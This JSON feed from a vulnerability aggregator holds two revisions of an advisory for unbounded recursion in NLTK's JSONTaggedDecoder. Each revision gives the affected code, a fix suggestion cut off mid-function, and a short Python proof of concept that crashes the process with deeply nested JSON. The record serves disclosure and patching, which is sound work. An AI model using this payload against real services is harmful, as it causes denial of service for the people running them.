{"items":[{"id":"NVI-00013900","kind":"vulnerability","title":"Natural Language Toolkit (NLTK) has unbounded recursion in JSONTaggedDecoder.decode_obj() may cause DoS","revision":3,"unknowns":["Customer inventory, deployment, reachability and exploitation have not been inspected.","NVD lastModified does not establish freshness of every associated CPE record."],"lifecycle":"active","identifiers":["GHSA-rf74-v2fm-23pw","CVE-2026-66393"],"plain_summary":"GitHub lists this reviewed advisory for nltk. Published version ranges and source prerequisites are shown below; this is not an inspection of a visitor’s application.","review_status":"source_listed","control_topics":[],"public_actions":[{"summary":"Identify the exact component and deployed version, examine the linked publisher’s conditions, and retain evidence of any mitigation.","source_ids":["sr-27c4b0b57a1ffb91164f250d16cc0b7b"],"action_type":"investigate","limitations":"Confirm current vendor support, compatibility and deployment evidence. This report has not tested a fix in your system.","current_supported_target":null}],"schema_version":"1.1.0","source_metrics":[{"kind":"CVSS","as_of":"2026-10-14T13:10:00.187Z","value":"7.5 HIGH (3.1)","meaning":"disclosure@vulncheck.com severity; no combined Null risk score.","source_id":"sr-6f7676761652880d5f6367c4a0fef0a2"},{"kind":"CVSS","as_of":"2026-10-14T13:10:00.187Z","value":"8.7 HIGH (4.0)","meaning":"disclosure@vulncheck.com severity; no combined Null risk score.","source_id":"sr-6f7676761652880d5f6367c4a0fef0a2"},{"kind":"EPSS","as_of":"2026-11-02T12:00:30.000Z","value":"0.521%","meaning":"FIRST EPSS model v2026.06.15; exploitation probability over 30 days, percentile 0.44248. Missing scores are unknown.","source_id":"sr-27c4b0b57a1ffb91164f250d16cc0b7b"}],"why_it_matters":"Published affected context helps an owner decide what evidence to gather. This report has not examined your application.","related_sources":[{"id":"sr-196400102a56fe4f22532653ebcee89f","url":"https://github.com/advisories/GHSA-rf74-v2fm-23pw","basis":"vendor_advisory","notes":"GitHub Advisory Database; CC-BY-4.0. Each advisory links its original attribution. Null normalizes fields.","title":"GHSA-rf74-v2fm-23pw","publisher":"GitHub Advisory Database","observed_at":"2026-11-02T02:21:43.711Z"},{"id":"sr-6f7676761652880d5f6367c4a0fef0a2","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-66393","basis":"official_catalog","notes":"This product uses data from the NVD API but is not endorsed or certified by the NVD.","title":"CVE-2026-66393","publisher":"NIST National Vulnerability Database","observed_at":"2026-11-08T15:07:43.109Z"},{"id":"sr-27c4b0b57a1ffb91164f250d16cc0b7b","url":"https://www.first.org/epss/data.html","basis":"official_catalog","notes":"FIRST EPSS; probability of exploitation in the next 30 days, not local compromise. Dataset date/model retained; FIRST services terms apply.","title":"CVE-2026-66393","publisher":"FIRST EPSS","observed_at":"2026-11-02T20:15:58.860Z"}],"affected_context":[{"certainty":"source_listed","source_ids":["sr-196400102a56fe4f22532653ebcee89f"],"technology":"nltk","known_exclusions":[],"conditions_summary":"### Summary\n`JSONTaggedDecoder.decode_obj()` in `nltk/jsontags.py` calls itself \nrecursively without any depth limit. A deeply nested JSON structure \nexceeding `sys.getrecursionlimit()` (default: 1000) will raise an \nunhandled `RecursionError`, crashing the Python process.\n\n### Affected code\nFile: `nltk/jsontags.py`, lines 47–52\n```python\n@classmethod\ndef decode_obj(cls, obj):\n    if isinstance(obj, dict):\n        obj = {key: cls.decode_obj(val) for (key, val) in obj.items()}\n    elif isinstance(obj, list):\n        obj = list(cls.decode_obj(val) for val in obj)\n```\n\n### Proof of Concept\n```python\nimport sys, json\nfrom nltk.jsontags import JSONTaggedDecoder\n\ndepth = sys.getrecursionlimit() + 50  # e.g. 1050\npayload = '{\"x\":' * depth + \"null\" + \"}\" * depth\n\n# Raises RecursionError, crashing the process\njson.loads(payload, cls=JSONTaggedDecoder)\n```\n\n### Impact\nAny code path that passes externally-supplied JSON to \n`JSONTaggedDecoder` is vulnerable to denial of service.\nThe severity depends on whether such a path exists in the \ncalling code (e.g. `nltk/data.py`).\n\n### Suggested Fix\nAdd a depth parameter with a hard limit:\n```python\n@classmethod\ndef decode_obj(cls, obj, _depth=0):\n    ","public_affected_ranges":["<= 3.9.3"]}],"null_published_at":"2026-11-08T19:53:48.747Z","source_updated_at":"2026-09-02T15:33:52.000Z","source_disclosed_at":"2026-03-18T20:17:43.000Z","is_synthetic_fixture":false,"null_last_reviewed_at":null,"public_change_summary":"Source facts changed; compare the preserved prior revision.","null_first_observed_at":"2026-11-02T02:21:43.711Z"},{"id":"NVI-00013900","kind":"vulnerability","title":"Natural Language Toolkit (NLTK) has unbounded recursion in JSONTaggedDecoder.decode_obj() may cause DoS","revision":1,"unknowns":["Customer inventory, deployment, reachability and exploitation have not been inspected."],"lifecycle":"active","identifiers":["GHSA-rf74-v2fm-23pw","CVE-2026-66393"],"plain_summary":"GitHub lists this reviewed advisory for nltk. Published version ranges and source prerequisites are shown below; this is not an inspection of a visitor’s application.","review_status":"source_listed","control_topics":[],"public_actions":[{"summary":"Identify the exact component and deployed version, examine the linked publisher’s conditions, and retain evidence of any mitigation.","source_ids":["sr-196400102a56fe4f22532653ebcee89f"],"action_type":"investigate","limitations":"Confirm current vendor support, compatibility and deployment evidence. This report has not tested a fix in your system.","current_supported_target":null}],"schema_version":"1.1.0","source_metrics":[],"why_it_matters":"Published affected context helps an owner decide what evidence to gather. This report has not examined your application.","related_sources":[{"id":"sr-196400102a56fe4f22532653ebcee89f","url":"https://github.com/advisories/GHSA-rf74-v2fm-23pw","basis":"vendor_advisory","notes":"GitHub Advisory Database; CC-BY-4.0. Each advisory links its original attribution. Null normalizes fields.","title":"GHSA-rf74-v2fm-23pw","publisher":"GitHub Advisory Database","observed_at":"2026-11-02T02:21:43.711Z"}],"affected_context":[{"certainty":"source_listed","source_ids":["sr-196400102a56fe4f22532653ebcee89f"],"technology":"nltk","known_exclusions":[],"conditions_summary":"### Summary\n`JSONTaggedDecoder.decode_obj()` in `nltk/jsontags.py` calls itself \nrecursively without any depth limit. A deeply nested JSON structure \nexceeding `sys.getrecursionlimit()` (default: 1000) will raise an \nunhandled `RecursionError`, crashing the Python process.\n\n### Affected code\nFile: `nltk/jsontags.py`, lines 47–52\n```python\n@classmethod\ndef decode_obj(cls, obj):\n    if isinstance(obj, dict):\n        obj = {key: cls.decode_obj(val) for (key, val) in obj.items()}\n    elif isinstance(obj, list):\n        obj = list(cls.decode_obj(val) for val in obj)\n```\n\n### Proof of Concept\n```python\nimport sys, json\nfrom nltk.jsontags import JSONTaggedDecoder\n\ndepth = sys.getrecursionlimit() + 50  # e.g. 1050\npayload = '{\"x\":' * depth + \"null\" + \"}\" * depth\n\n# Raises RecursionError, crashing the process\njson.loads(payload, cls=JSONTaggedDecoder)\n```\n\n### Impact\nAny code path that passes externally-supplied JSON to \n`JSONTaggedDecoder` is vulnerable to denial of service.\nThe severity depends on whether such a path exists in the \ncalling code (e.g. `nltk/data.py`).\n\n### Suggested Fix\nAdd a depth parameter with a hard limit:\n```python\n@classmethod\ndef decode_obj(cls, obj, _depth=0):\n    ","public_affected_ranges":["<= 3.9.3"]}],"null_published_at":"2026-11-02T10:00:37.172Z","source_updated_at":"2026-09-02T15:33:52.000Z","source_disclosed_at":"2026-03-18T20:17:43.000Z","is_synthetic_fixture":false,"null_last_reviewed_at":null,"public_change_summary":"First indexed by Null; source disclosure date is shown separately.","null_first_observed_at":"2026-11-02T02:21:43.711Z"}],"next_cursor":null,"snapshot_revision":"42594"}